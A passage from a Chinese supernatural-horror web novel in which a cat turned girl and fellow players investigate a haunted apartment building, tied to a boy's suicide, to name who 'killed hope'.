“看什么?看你们这群死小鬼半夜鬼叫什么啊,积点德好不好,让我这老骨头睡觉。” 小咪摇头,“不对,你在害怕,你也怕外面的东西进来。” 老头的表情瞬间变了,直勾勾看着小咪,眼神阴冷。 但小咪并不惯着他,把门往里面一推,老头的手被门重重一夹,马上叫了起来。 其他人齐齐嘶了一声。 好家伙,这是完全不尊老啊。 “快点说。”小咪抓着门,又把他的手夹一下,“不然把你的手夹断!” 闪电偏头,眸子微垂,用湿漉漉的眼睛看着她,意思是,能不能不要对人残暴。 小咪踩了下他的脚背,毫不客气把门板一推一拉。 老头手肿成馒头,疼得哎哟哎呀叫。 猫又不是人类的朋友。 小咪对欺负老人这件事毫不愧疚。 “快松开手,快点,十二点了,它要回来了!” 老头声音越来越惊恐,屡屡回头看表。 顺着门缝,小咪也看清挂在墙壁钟表,时间指向十一点五十五。 “十二点后他就会回来,快点回自己房间,关紧门!” 老头警告。 “大门是关着的。” “这扇门可拦不住他的!哎呀,”老头见他们不撒手,突然用力往后一仰,生生把自己的手给拔下来。 “砰!”门重重合上。 闪电拿着一条手臂,有些不知所措地立着,几点血洒在他的脸上,让他显得更加凶狠。 夏鲸鱼咽了口口水,把妹妹护在身后,也不知道是门里一下子拔掉自己一条胳膊的东西可怕,还是手里抓着胳膊的人可怕,亦或者是,面不改色把男人当狗牵着的女孩可怕。 怎么想都很可怕啊! 他心神不宁,却听见妹妹在小声嘀咕:“哇哦。好酷。” 夏鲸鱼:“……” “这里的居民也都不是人吗?”葛红侠喃喃。 居然能扯掉自己的手臂,说明他们肯定是非人的存在,可是老头之前又表现得很正常。 小咪:“我们要回房间,快到十二点了。” 其他人恍然,不管老头是不是人,他都这么害怕,说明十二点在楼道里肯定会发生可怕的事情。 崔明远就在102号房间,打开门,问:“我们要不挤一起吧,人多安全。” 小咪:“我不要。” 葛红侠也赞同,“最开始我们就被分成不同房间,我看还是按照这个来。” 小咪牵着链子往前走,带着闪电回到了房间。 墙上时间来到十一点五十八。 她锁好门,走到卧室,看见了打开的窗户。小咪想到一件事,连忙跑出去,嘱咐闪电,“你在这里看家,我马上就回来。” 男人歪了下头。 小咪冲出房间,飞快跑下楼梯,用力拍302的门。 防盗链子锁上,里面拉开小小缝。 “锁好窗户,那个东西会在墙上爬。”她飞快提醒里面的人。 夏鲸鱼脸色一白,点头,“谢谢。” 等跑到102的门口,一声巨响让整栋楼都晃了一下。 所有的声控灯都亮了起来。 小咪砰砰敲崔明远的门,提醒完这句话,就往楼上跑。 灯光在瞬间熄灭,四周陷入一片漆黑。 “嘎吱——” 被锁上又用杂物挡住的铁门缓缓打开,阴寒冰冷的气息挤满了楼道,墙壁地面似乎都凝起冰霜。 这时候,小咪刚跑到二楼。 她听见自己脚下传来一个熟悉的声响。 “咚。” “咚。” “咚。” 像是皮球在击打着地面,又像脚步声重重踏起。 第一楼的声控灯打开了,照出一道倒立的人影。它的速度并不快,一级又一级,脑袋与楼梯相撞,发出沉闷的声音。 小咪跑得更快,就像被烧了尾巴一样,跑出一段台阶,她回头往下看,却发现本来该在下面一层的鬼影,出现在了楼梯的拐角处。 把猫差点吓出了猫叫。 小咪飞快往上跑,跑了一半,察觉到身后一阵森然寒意,回头一看,它离自己只有三级台阶了,那个破碎的头颅在地上跳着,僵直的手臂马上就要触碰到猫的身体。 第54章 小咪手中出现一条腰带, 金腰带上镶嵌满宝石碎钻,熠熠生辉。 她用力把金腰带往后掷出,本来要抓到猫的鬼突然改变方向,朝着腰带跳去。 经历几次鬼域后,小咪已经发现,金腰带是她从恶·魔·岛带出的东西, 对鬼具有无与伦比的诱惑力。 她没有马上跑,站在台阶想了一下。她的速度肯定比鬼要快,为什么一回头,厉鬼就出现在自己身后了呢? 鬼施展了障眼法? 她以为自己是在往前跑,其实是在朝鬼靠近。 小咪看眼后面的倒立鬼影,扭头朝它跑过去,身影交错的瞬间,她听见鬼影气急败坏地叫了一声。 识破这场幻术后, 一切都恢复了正常。 小咪一口气爬上三楼,那条金腰带飞快地在地上游动, 像一条黄金蟒, 重新回到她的手上。她飞快跑回402, 闪电伸出手,把她拉进了房间。 小咪扭头,把门关上, 挂好锁, 又在屋子里检查一圈, 确认房间门窗关好。 楼下响起“咚咚”声音, 一层又一层的声控灯点亮。 小咪看着落满灰的沙发,扯了扯闪电的链子,吩咐他打扫房间。 “咚——咚——” 声音在门外响起, 那道倒立的鬼影在门口徘徊。 门上没有猫眼,她想了想,趴下来,从门下缝隙往外望。 果然,正对上一双血红的眼睛。 小咪与它对视片刻,拿出金腰带,在鬼面前一晃。 想要吧? 不给你! 鬼影暴跳如雷,差点又把自己的头给崩裂了。徘徊许久,他慢慢转过身体,来到另外两扇门前,敲了敲门。 没人打开门后,他朝着上面的楼层跳去。 咚咚声逐渐消失,取而代之的,是一声铁门拉开的声响。 小咪耳朵抖了抖,从声音上判断,鬼影已经进了502的房间,就在她的楼上。 502的住户黄毛已经死了,所以鬼能进入其中? 不管,她累了,天塌了都拦不住猫要睡觉。 小咪仰头,叮嘱闪电,“不要打开门,不要打开窗户。” 狗子不一定有猫聪明。 闪电耳朵一抖,蹲坐在她旁边。 小咪往沙发一躺,回忆起窝在沙发打滚的感觉,很快就舒服地进入了梦乡。 ———— 夏鲸鱼和夏甜罗两兄妹同样窝在客厅里。 “那东西应该走了吧。”夏甜罗小声说。 夏鲸鱼将耳朵贴在门口,听了一会,没听见什么声音。 “应该走了,刚才我听见,它去上面了。” “那它还会下来吗?” 夏鲸鱼瞥她一眼,“下来,但不一定是走楼梯了。” 夏甜罗想起那一声震耳欲聋的响声,明白过来,手指往下划,“这样?” 夏鲸鱼点头。 “好家伙,还是倒栽葱式的呢。”她说完就觉得不太好,嘴里念:“呸呸呸,鬼大爷,我没侮辱你的意思,千万别找过来啊。阿弥陀佛,急急如律令!” 夏鲸鱼坐在她旁边,看着墙上的钟表,“时间转得很快。” 夏甜罗同样注意到这点,“里面的时间和外面应该是不一样的,这里的时间要快很多,这样也好,今晚就能快点熬过去了。哥哥,你说是谁杀死了希望?” 夏鲸鱼摇头,“现在得出的线索太少了。等时间到白天,我们去npc那里问一问吧。101的npc好像知道一点内情。”他看见妹妹眼神发愣,脸色苍白,安慰道:“就当是在打一场恐怖游戏吧。” “嗯……” 夏甜罗想起黄毛青年被血月溶解的可怕样子,打了个寒战,摇了摇脑袋,努力想把那副血肉横飞的画面从脑海中剔除。 “这里的住户,也不太正常。”她小声说。 夏鲸鱼:“是啊,哪个人能一下子拔掉自己的手臂?但是没关系,那个叫喵喵的女孩好像很厉害,能拿捏得了他们。” 夏甜罗刚想说什么,突然听见了敲门声。 “咚。咚。” 声音并不大。 两人对视一眼,脸上血色尽失。夏鲸鱼鼓起勇气,来到门口,趴下来往外面看。 “它不在外面。”他松了口气,刚想起身,目光凝固在某处,身体也僵住了。 夏甜罗顺着他的视线往前看。 灰蒙蒙的窗帘并未完全拉拢,在窗帘间隙,一张血肉模糊的脸倒悬着,正朝他们微笑。 它抬起手,敲打着窗户。 夏甜罗一个箭步,把窗帘拉上,然后跑到卧室,和哥哥一起藏在衣柜里。 密闭的空间让人有安全感,两个人瑟瑟发抖挤成一团,抖了好一会。 “哥,那玩意应该走了吧?” “他总不能一直吓我们,总该吓一吓别人啊。” 夏鲸鱼透过衣柜缝,往外面看,卧室的窗帘半拉着,窗户并没照出鬼影。他松了口气,握紧妹妹因汗湿冰凉的掌心,“幸好听小喵的话把窗户锁上了。这东西真跟蜘蛛侠一样啊。” “我没听见窗户被打开的声音,它应该没出来,”夏甜罗推开柜门,走到客厅瞄一眼,“他好像真的走了,哥,哥?” 夏鲸鱼没有回答她。 他握着手里冰冷的小手,身体不由自主发抖。 “呵——” 那东西贴着他的后背,对他的衣领里吹气,冰冷的气息擦过后颈,让后颈蹿起一片鸡皮疙瘩。 “啊啊啊!!!” 夏鲸鱼手软脚软爬出衣柜,不敢回头看一眼,拉着妹妹的手就往门口冲,“里面有鬼,有鬼!” 门上锁了两层,不仅反锁上了,还扣了金属防盗链。 本来是为了保险才装的双重保险,在逃难的时候,格外费事。 夏鲸鱼手忙脚乱,刚把防盗链解开,正准备开门时,夏甜罗按住他的手。 “外面也有鬼啊。”她脸色不大好,“能跑到哪里去?” 卧室衣柜传来窸窣的响声,似乎是里面的东西爬了出来。 “外面东西爬到了楼外面的墙上,”夏鲸鱼几次回头看卧室门,汗珠一颗颗顺着脸颊往下滚,“现在楼道里应该是安全的,我们跑到四楼,去找喵喵,或者去找五楼,黄毛哥死了,他的房间是空出来的。” “但是……”夏甜罗指了指门后。 夏鲸鱼突然想到什么,悄无声息地弯下腰,趴在地上。 他对上了一双血红的眼睛。 两个人连忙把防盗链拉上,紧挨着缩在沙发上。没多久,“咚咚”声渐远,卧室的动静消失也不见了。 “这个鬼能制造幻觉,他先出现在楼外窗户这里,让我们放松对楼道的警惕,再弄出房间有鬼的幻觉,目的是我们吓出房间,而他其实就在门口等着我们!” 推断出结果后,他们任由幻觉怎么变,也不肯出门了。 那鬼也发现骗不出他们,选择了离开。 “希望其他人也意识到这点,”夏甜罗叹口气,“不要被他骗了出去。” ———— 小咪睡得很香。 醒来时,闪电依旧维持着之前的姿势,在她旁边护卫。 小咪抓起链子,他的眼神顿时炽热很多。 “好狗。”小咪拍拍他的头,拿起地上的手臂,凑到鼻尖闻了闻,老头的手闻上去一点都不好吃,猫吃惯了烘得喷香的肉干,看不上这条臂膀。 “你要拿来磨牙吗?” 闪电摇头,耳朵动了动。 小咪也听见了,楼下响起一声惨叫。 她走了下去,发现大家都围着一具尸体。 尸体停在二楼和三楼之间的位置,从衣着来看,死者是102住着的崔明远。 “他肯定是被鬼骗了出来,发现不对,就往上面跑。”夏甜罗表情微妙,“不过死在这个位置……”她看了眼葛红侠。 葛红侠承认:“他确实拍过我的门,想让我开门,但我觉得这也是陷阱,那只鬼就跟在后面,想拿他当诱饵,诱导我们打开门,所以我没开。” “太狡猾了这只鬼,”夏甜罗小声骂:“脑袋扁了,怎么能这么聪明。哎,喵喵!” 一看见少女,大家的眼神就变得炽热。 “昨天谢谢你,喵喵!”夏甜罗很真诚地感谢,“要不是你说要关紧窗户,那东西就顺着窗爬进来了。” 小咪“嗯”了声,面无表情地来到尸体前,蹲下来打量。 崔明远毫无生气的灰白面孔正对着她,身体却背对着她,他的头被拧了一圈,破碎的骨茬刺出了皮肉,血在身下漫开。 “大佬,有什么发现吗?”夏鲸鱼期待地问。 小咪:“他死了。” “对,是死了,然后呢?” “可惜他不是猫。”不然脖子扭成这样,也不至于死。 “啊?”夏鲸鱼有点没明白,却看见少女继续往下走。他这才看清,被她拿在手里的是条灰白的手臂。手臂颜色惨白,像极了石膏,但上面有皮肤的褶皱和质感,他甚至还能看清指甲里的一点黑色的血渍。 那只手擦过他的手背,冰冷的温度让他不由自主打了个哆嗦,接着,他看着少女往下走,来到101房间的门口。 “砰砰砰!” 小咪把门敲得震天响。 完全没有被扰民之类的人类道德约束。 “砰砰砰!砰砰砰!” 里面老头喊:“我不会给你开门啦!” 小咪停下来,想了想,“你不要回自己的手了吗?” 静默片刻,门被打开了,但防盗链还拉着。 老头只拉开一条小缝,谨慎地看着她。 小咪抿了下嘴角,在思考怎么问话。 葛红侠见她沉默,忍不住开口问:“昨天那外面的东西……您知道是怎么回事吗?” “怎么,你们不知道?”老头打量他们,半天,他叹口气,“说起来晦气!自从402那家的孩子跳楼后,咱们这栋楼啊,每天晚上都不安宁,做法事也没用,小孩子怨气大,想回家,不肯瞑目呢。” 这段话信息量极大。 葛红侠:“死者是402的小孩?他是自己跳楼的?” 老头点点头,“对啊,不然还得是谁,当时砰——一声,好大一声响呢。快点,”他催促道:“我回答了你们的问题,快把手还给我。” 小咪抓紧手臂,没打算还给他。 老头的脸色变了,眼神变得恶狠,脸上浮现大片大片紫红色的斑点。 一看斑点,葛红侠脸色微变,拉着小咪的手,凑到她耳畔小声说:“我看还是先把东西给他,他的脸上出现尸斑了。” 说明101大爷马上就要狂暴了。 小咪:“好吧,你把手伸过来。” 大爷伸出手,小咪突然把门往回压,夹得他又惨叫了一声。 “啊啊你,我要杀……”大爷的话卡在了嘴巴边上,他发现自己的手臂接回了手上。有了手后,他变得慈祥了很多,只是幽怨地看了眼女孩,“杀鱼吃。” 小咪听见鱼,眼睛一亮,“我也要吃。” 大爷:“……你还真是不客气啊。” 小咪想了下,拿出那根黄金腰带。 其他人都惊呆了。 这又是从哪掏出那么大一块黄金? 果然,金腰带对暗世界的鬼怪都有莫大的吸引力。大爷眼睛都直了,死死盯着腰带。 小咪:“怎么样?” 大爷露出笑容,舔了舔嘴角,给他们打开门。 闪电先走进房间,替人类先排除危险是他的天性,环顾一圈后,他侧过身体,让小咪走进来。 101格局与他们房间相似。 小咪歪头往后看,其他几个人都有些畏惧,不敢进入房间里。 毕竟他们亲眼看着老头拔掉自己的手臂,脸上又露出尸斑,这老头显然是个死人。 “时间紧迫,”葛红侠说:“现在是早上八点,但我发现了,在里面一个小时,和现实里面的十分钟差不多。所以我们其实只有两个多小时来找到真相,你进去问一下大爷,我们去敲其他邻居的门问下情况。” 大爷舔了舔嘴,“不进来啊?真是有点可惜。” 他砰地关上门,把门反锁,面无表情地看着小咪。 小咪毫不示弱地回瞪,“鱼呢?” “在呢在呢,别急。被我养在盆里。” 小咪跟在大爷后面,“为什么那个人会跳楼?” 大爷走到厨房,拿起把杀鱼刀,刀并不利,他坐在板凳上磨刀。 刷刷磨刀声里,他背对小咪,说:“还能怎么样?他爸是个赌鬼,他妈是个打牌佬,两个人天天打架,打来打去,没事就两个人打,有事就混合双打,每天晚上都能听见他们那层的哭声,吵得人都睡不着觉!说真的,投胎在这种家庭,也是够倒霉的。往下面一跳,也是解脱了。” “太没素质了……”大爷气得大声吐槽。 小咪给闪电使了个眼色,让他守在门口,自己垫起脚尖,在大爷的房间搜寻线索。 钟表在墙上飞快地转动。 大爷磨刀的刷刷声越来越快。 小咪来到茶几前,在他的沙发抱枕下,看见一本相册。 大爷似乎是个摄影爱好者,里面藏着他拍的很多照片,小咪飞快翻动照片,目光停在最后一张照片上。 那是个背对着镜头的孤独人影。 瞧身量,是个穿着校服的小孩子,很孤独地望着天空。 远方夕阳如血,城市高楼林立。护栏下有一个椅子,他踩着椅子越过栏杆,坐在危险的边缘。 “谁让你翻我的相册?”老头磨好了刀,阴恻恻问。 小咪理直气壮,“想翻就翻了,还需要人允许吗?” 大爷气得脸色都变了,但小咪拿起相册,飞快跑到门口,闪电拉开门。 他们就快越过门跑出去时,一把刀飞来,从闪电空荡荡的袖管穿过去,插在墙上。 大爷愣了下。 小咪拔下刀,顺手把刀也拿了,跑出了房间。 “砰!” 101的门在眼前重重合上。 其他几个人在楼里转了一圈,但没有找到什么有效的线索。 100的住户是对年轻的夫妻,妻子怀着孕,看样子是快生了,肚子很大,因此也格外警惕,没有打开保险链,和他们简单对话几句,就关上了门; 201没有人住; 200里有个小孩子,隔着门,他声音稚嫩,说妈妈没回家,不肯给开门; 301有个碎碎念的老太太,一直在咒骂,说早被楼上烦得不行,活该他们去死,全家都该去死,连门外的一行人,也被暴脾气的老太骂了个狗血淋头; 300是对年轻情侣,人倒是挺热情的,就是对402跳楼不太关注; 401没有人开门; 400是个疲惫的中年人,也不愿意和他们多聊,推脱不知道跳楼的事情。 501是个女人,大波浪,画浓妆,对他们态度很警惕,态度冷漠; 500是个脸色苍白,打扮邋遢的酒鬼,身上一股子浓烈的酒味,喝得神智不清了,也问不出什么话。 现在唯一有价值的是小咪拿到的相册。 看着照片上的少年,他们心情有些复杂,少年肩膀稚嫩,背影孤独,看着怪可怜的。 “要是那个时候有人拉他一把,我们也不至于大半夜被鬼吓了。”夏鲸鱼喃喃。 夏甜罗:“对啊, 101那老头明明偷拍了照片,他为什么不把小孩喊下来?这个位置明显很危险好吧。” 葛红侠皱起眉,“101的房号也在篮子里,101号大爷的冷漠旁观,也可以视作一种谋杀?” 夏鲸鱼挠头,“这应该也罪不至死吧。哎,”他把相册往前翻几页,“这老头还是个偷拍狂,这拍的不是501的女人嘛。 501的女人那么防备我们,是不是因为感觉到有人在偷拍她?要不我们上去,告诉她真相?” 他们马上爬到第五楼,敲响了501的房门。 果然,说出偷拍事情,并且出示照片证据后, 501房客对他们的态度有所缓和。 “那老家伙,真不是个东西,之前还好意思说是摄影爱好者,想让我给他当模特呢。我呸!”女人翻看相片,气得发抖,“我就猜到是他在偷窥,这么爱看,我非得把他眼珠子挖下来,让他看个够!” 葛红侠问:“既然你早知道有人偷拍,怎么不搬走呢?” 女人挑了下眉毛,“搬?能搬到哪里去,反正这栋楼也不止他一个奇葩了,楼下两口子天天干架,再楼下那老太成天咒这个死那个死,反正都八九不离十,凑合着过呗。” “你楼下那孩子,生活在这种环境,也怪可怜的哦。”葛红侠观察着她的表情,发现提到少年时,女人猛地合上相册,表情变得古怪。 女人扯起嘴角,艳红红唇上扬,“没办法,这就是命。谁让他投胎在这种家庭,啧。” “你觉得,是谁害死了他呢?是他爸妈吗?”葛红侠试探性地问。 沉默半晌,女人低声说:“是我害死了他。” 第55章 几个人对视, 心中暗暗高兴。 501主动承认自己是凶手了? 葛红侠:“为什么这样说呢?” 502住户点起一根烟,烟气袅袅,暗红的火点慢慢往前烧,烧到她的手指。她甩了甩手,眼神幽邃,“那小孩是个可怜的孩子。” “他爸妈经常打他, 催债的人来家里乱翻,后来每次家里住不下去,他就坐在楼梯写作业。我从他身边经过很多次,有一年冬天晚上,我从他身边路过,心一软,把他喊到家,给了他一点吃的, 让他在我家客厅写作业。” 女人吐出一个气,烟圈在眼前扩大,上浮,仿佛溺死者吐出的最后一个气泡。隔着烟圈,她好像在众人身后,又看见那个苍白阴郁,沉默寡言的少年。 “他喊我姐姐,会帮我做一些家务,我也把家里钥匙给他,下班回家偶尔给他带点吃的。我以前有个小孩,没机会生下来,有时候看着底下那两个畜生,我会想,这世界上当父母真是一件不需要资格的事情,想起来就糟心!” 她掐断香烟,骂了几句脏话。 葛红侠追问:“那你为什么说是你害死了他呢?”她意识到自己问得太急切,顿了顿,声音放柔,“我是想说,明明你才是那个对他好的人。” “就是因为这样,所以,他会把我当成希望。在我收走钥匙,跟他说别来我家了后,他可能是希望破灭了吧,每次看着我,眼神都带着怨气。”她叹了口气,眼前又浮现少年绝望的眼神,就没有再说下去了,朝着小咪挑起月亮一样弯弯的纹眉,“妹妹,你手里的刀我很喜欢,可以给我吗?我拿着防身。” 小咪看眼手上的杀鱼刀,刀被老头磨得雪亮,锋利无比。 她把刀递给了501室的女人。 “谢了啊,”女人接过刀,让他们等一下,转身回到房间,给他们几支香和一把钥匙,“我看你们对童童很上心,是他的朋友吧,想要祭拜他的话,去401看看吧,那夫妻两离婚搬走了,房间里给他摆了个牌位,有时候会回来号丧,也不知道人都死了,扮深情有什么用。” “童童?” 但没等他们追问,501的门就关上了。 夏鲸鱼问出灵魂问题:“死掉的那个小孩,好像不是叫希望啊。我们会不会弄错了?” 夏甜罗:“可是,除了童童,这栋楼没有人出事了吧,现在灵异现象也指向跳楼的厉鬼回来复仇。” 夏鲸鱼:“是复仇吗?可是101偷拍的大爷, 301总是骂骂咧咧的老婆婆, 501的姐姐,都没有出事。在他们的认知里,只觉得童童晚上回来是件很麻烦的事,也没有因此被恐吓到搬家。” 莫若雨小声说:“希望,会不会是一个抽象点的概念?刚刚501住户说,童童把她看成希望,但是她把最后的希望也扼杀了。” 夏鲸鱼托腮,“所以要填501,但……总不能找做好事的人报仇吧?” “鬼本来就不讲道理的。” 小咪牵着闪电往楼下走,来到401户的门口。 把钥匙放进锁孔,扭动,门后传来锁扣打开的声音。 她推了下门,第一下没推开,好像有什么东西在里面抵着门。 闪电和她一起用力推,里面抵门的力度猛地消失,两个人身体不受控制,跌进房间里,身后的门吱呀一声就闭上了。 小咪抬起脸,正对上墙壁上一副照片。 照片是灰白色的,里面框着个十三四岁的少年,眼神阴沉,面无表情。 在照片下,有个桌子,桌上放着牌位。 牌位上写:“苏x童之x位。” “父苏xx,母赵x红立。” 小咪摘下闪电的面罩,问:“你认识这些字吗?” 闪电:“汪?” 小咪重新把面罩给他带回去了。 闪电眉头紧锁,目光盯着墙上的照片。墙上的少年依旧看着他们,但是嘴角往下面撇了一点,显得很不开心的样子。 牌位旁两根素白的蜡烛,烛光鲜红。房间没有风,血一样的烛光却轻轻一晃,在火焰顶端,冒出一点幽绿。 小咪点燃香,插在香炉里。 香烟直直往上升,飘过遗照时,照片里的少年嘴角从下撇变成了上扬,他的脸贴在玻璃相框里,贪婪地吮吸着烟气。 趁着这个时间,小咪打开门,拉了个人进来。 夏甜罗看见遗照,吓得抱住她的手臂,“啊啊啊!” 小咪:“认字。” 夏甜罗“奥”了声,壮起胆子看灵位。 一炷香燃烧得很快,马上就见了底,遗照里的人表情僵冷,死死盯着他们,两点摇曳的烛火,也变成惨淡绿色。 在烛火全部变绿时,他们跑出了房间。 “我看明白了,”夏甜罗说:“小孩名字叫苏乐童,父亲叫苏成龙,母亲叫赵杏红。没有一个人叫希望。是吧喵姐?” 虽然叫喵喵的女孩圆眼翘鼻,看起来很年轻,但她还是把对方当成了大佬膜拜。 小咪:“嗯。” 反正喵不认识那些字。 她拿出了几张彩票,是闪电在一个抽屉里发现的,里面装满了彩票。 “我在客厅还看见一张麻将桌,看来这对父母确实是赌徒。”葛红侠皱起眉,“现在的问题是,跳楼的男孩是不是希望,如果是,杀死他的人就有很多了, 101的漠视、 301的咒骂、 501掐灭最后一点希望,但他最恨的,肯定是自己那对不负责任的父母。” 其他人都点头,如果非要填一个房间号上去,还是401最靠谱。 葛红侠看向女孩,“喵喵,你觉得呢?” 小咪揉了揉肚子,看向楼梯上方。 501的住户提着个包往下走,“你们还在这啊?” 葛红侠:“我们刚刚去拜过童童了。” 501对他们态度缓和很多,“挺好。再过几天,就是他头七了,到时候他回来,看见你们的香,肯定很高兴。” 葛红侠脸色微变,“头七?还有几天?” “三天啊。” 501提着包往下走,几个人跟在她身后,发现她推开单元门后,直接走了出去,身影就消失在了门后,并不像他们一样,会被血月阻拦。 葛红侠打开101的房门,看了眼挂在墙上的表,他们没有感觉过去多久,时间却已经指向了下午六点。 “三天后是头七,一般来说,头七是死者回魂的日子,那一晚,门不再是阻碍,鬼能够进入房间。” 众人脸色发白。 夏鲸鱼结结巴巴地说:“那、那不是……锁门没用了?” 葛红侠点头,“苏乐童的鬼魂已经变成了厉鬼,我觉得,等到头七时,他会回到楼里,对我们展开屠杀,其实这里隐藏了一个时间限制,在第三天晚上十二点之前,我们必须找到杀死希望的凶手。” 她环顾一周,“你们觉得该选哪谁是凶手?” 夏鲸鱼:“那就401吧?如果非要选凶手,我觉得元凶就是他那对只管生不管养的爸妈了。” 夏甜罗和莫若雨也表示赞同。 葛红侠:“到第三天如果还是找不出凶手,我们就选401,喵喵……咦,喵喵去哪里了?”她扫眼单元门口,顿时大惊失色。 小咪正站在黑板前,认真地端详着【 ____杀死了希望】这几个字。她拿起一个字,又松开手,“啪”地一下,字重新被吸在黑板上。 葛红侠跑过来,“喵喵,不要乱填答案,可能会有不好的效果。” 小咪又拿起一个“杀”字,松开手,看着字被吸上黑板。 “好玩。”她面无表情地说。 葛红侠拉着她远离黑板,怕她把随手把空缺给填上了。 “喵喵,你有什么头绪吗?” 小咪想了想。 思考这种事太为难猫了,她很想去睡觉。 夏甜罗从包里拿出包小鹌鹑蛋递给她,“喵喵大佬,是不是饿了?” 小咪收了保护费,顿时感觉肩头沉甸甸的,多出几分要保护人类的责任。 她咬一口鹌鹑蛋,眼睛亮了起来,人类的小零食,真是太好吃了。 “我想要再去其他房间找一找线索。”小咪说。 “但是,其他住户都不太配合,不愿意开门。” 小咪:“没关系。” “没关系?” 小咪从地上抱起一只黑猫,“猫可以进去。” “我去,”夏鲸鱼揉揉眼睛,“这只猫从哪跑出来的?” 小咪:“猫一直都在,只是你们没看见。” “啊?我眼神这么差?” “人,眼神不好。”猫叹了口气,她习惯了。 她变成了人类,影子也变成一只黑猫,匍匐在她的脚下。葛红侠明白她的意思,敲了敲101的家门,门照例只打开了一条缝隙,但猫从缝隙溜了进去。 小咪蹲在沙发背后,舒服地拉伸了下身体,又舔了舔自己的爪子。 猫耳朵一抖,探出猫猫头观察。 葛红侠在和女主人尬聊,在给小咪拖延时间,于是它偷溜进房间,开始找线索。 房子很旧,灰蒙蒙的,一切蒙上老旧的颜色。 在墙角放着一排空酒瓶,卧室里有个男人呼呼大睡,鼾声如雷。 “我不认识什么苏乐童,”女主人语气逐渐暴躁,“再骚扰我,我就报警了。” 门啪地一声合上了。 小黑猫蹲在凳子底下,金色眼睛圆溜溜转动,静静观察着女人。 女主人挺着硕大的肚子,没走几步,就要停下来扶着桌子休息一下。 她幽怨地看眼打鼾的男人,走到厨房开始洗碗。 洗碗结束,女人慢慢走回客厅,坐在沙发上,手抚着肚子,一下又一下,轻声说:“你一定要成器啊,争气一点,让妈妈过上好日子,别变成你爸那种烂人。” 她的肚子上鼓起一个小包。 感受到胎动,女人的表情变得幸福,慢慢闭上眼睛。 小咪注意到,她的身体下方流出一点液体。 没多久,她又听见外面的敲门声,表情变得暴躁,大步往外,每走一步,肚子就晃一下。 “你们有完没完!”女人脸色阴沉,处在爆发边缘。 小咪顺势从门缝钻出,朝他们喵喵叫。 “没事没事,我就是想提醒你一下,这楼有个偷拍狂,要小心一点。”他们不敢再多聊,跟着猫跑到了二楼。 “喵喵,有发现什么吗?” 小黑猫大声叫:“喵!” 对上大家诧异的眼神,它才想到,人听不懂喵语,就用人的身体说:“丈夫在睡觉,之后妻子去洗碗,屋子里没有和希望相关的线索。” “挺着这么大肚子,还让她去做家务,”夏甜罗义愤填膺,“男人真不是个东西!” 说着,气得揍了夏鲸鱼一拳。 夏鲸鱼莫名其妙:“你打我干嘛?我又不会这样!” “男人都是狗!” “狗的妹妹是什么?” “啊啊啊狗哥哥!” 小咪又和他们复述一遍妻子说的话。 听后,几个人心情复杂。 莫若雨小声说:“如果是我的话,不会想出生在这种家庭。” 父亲酗酒,家庭贫困,母亲将所有的期望都寄托在肚里孩子身上。 但孩子生下来后,能背负得了这样沉重的期望吗?会不会又酝酿一起像401室的悲剧? 他们有些惋惜,却无可奈何。 “喵喵,”葛红侠注意到,女孩一直没什么表情,既不可惜,也不愤怒,“你在想什么?” 小咪眨了眨眼睛,猫的世界观,很难想明白人的复杂情绪。 “我不懂。妈妈三个月就把我赶出来了。” 人类瞪圆了眼睛,“啥?三个月,你三个月?” 小咪点头,“对啊。这也没什么大不了的。” 几个人都傻了。 没什么大不了?这很大不了好吧。 “这是遗弃罪!也太不负责任了。”夏甜罗说着有些心疼,拉住小咪的手臂,“那喵喵,你是在孤儿院长大的吗?” 小咪:“不是,在街上长大。” “街上?那、那怎么吃饭呢?” 小咪点头,“我会翻垃圾桶,晚上,饭店会丢吃剩的骨头出来。”说着,她舔了舔嘴巴,开始怀念筒子骨的味道。 “喵喵……”夏甜罗眼泪花花,“你受苦了。” 小咪有点不明白。 她都是胡桃街老大了,为什么人会觉得她过得很苦? “我不苦。”她确定这点。 猫经常看着同类僵硬尸体躺在垃圾桶,旁边爬满蝇虫,对猫而言,只要能活着,就不算苦。其实,猫的小脑袋里很难理解人类的“苦”到底是什么意思。 人是很纤细敏感的动物,情绪也复杂多变。 小咪看着旁边眼眶湿红的少女,心里默默想,果然,无论哪个人类,都需要猫的保护。 “你要是想哭,就靠过来吧。”她拍了拍胸口。 猫宽阔的胸膛可以给人依靠。 夏甜罗脸一红,低下头,“好嘛,你别嘲笑我。” 小咪:“?” 猫没有嘲笑人。 只说了几句话,时间又过去两个小时。 他们站在了201室的门口。 “这里面有个小孩子,但他说妈妈没回家,不管怎么样都不肯开门。”葛红侠解释,如果不开门,猫猫也进不去了。 小咪看着门,敲了敲。 “妈妈没回家,我是不会开门的。”小孩子稚嫩的声音从里面传了出来。 小咪之前试过了,这里的“门”代表某种规则,如果不开门,猫是不能作弊让影子从缝隙里钻过去的。于是她想了想,指挥人类,“你们上楼,去楼梯那里躲着。” 等人都走开,小黑猫独自站在门前,“喵呜——” 它拖长了嗓音叫。 “猫猫!” 里面孩子的声音瞬间雀跃起来,“是猫猫吗?” “喵呜。” 小咪夹起嗓子,用爪爪挠门。 快点开门,猫知道你在家。 门后传来解锁的声音。但小朋友没有打开门,而是蹲了下来,小声说:“可是妈妈不让我开门。” “咪呜——咪呜——” “猫猫,你是饿了吗?” “咪!” “我家里有点点饭,猫猫你想吃吗?” “喵呜。” 片刻,门打开了一条小缝。 一张苍白的小脸从缝隙往外看,在地上,一只长毛的小黑猫坐得笔直,圆圆的金瞳与他对视。 “猫猫!”小朋友蹲下来,伸出手摸摸小猫的脑袋。 小咪用力蹭他的掌心一下,翘起尾巴绕过他的身体,跑进了200的房间中。 “猫猫,不要进去,妈妈不许的。”小朋友也合上了门。 看着小猫只用几声喵喵叫,就骗得小孩打开房门,蹲在楼梯观察的几人无不佩服。 “只能说,不愧是猫啊!” “哪个小朋友都抵抗一只猫猫的诱惑,还是只叫得这么嗲、长得这么可爱的小猫。” 夏甜罗盯着200的门口,眉头渐渐皱起,“不对。” “甜罗,怎么啦?” 夏甜罗指着202的门,“你们还记得02户的布局吗?刚才我被喵喵拉进401房间时,发现01户型和02户型是对称的,入门是客厅,左边是厨房,右边是卫生间和卧室。” “所以呢?” “我总觉得……”夏甜罗抿了抿唇角,表情纠结,比对了一下,“01和02户型应该是相邻的,中间没有空间再弄出一间房啊。” 几个人再次仔细观察房间门。 这是老式居民楼的常见布局, 01和02入户门正对着,门侧对着楼梯。而200的入户门则是正对着楼梯,显得有些古怪。 半晌,葛红侠开口,声音有些颤抖,“200……这个房间,本来是不该存在的。” 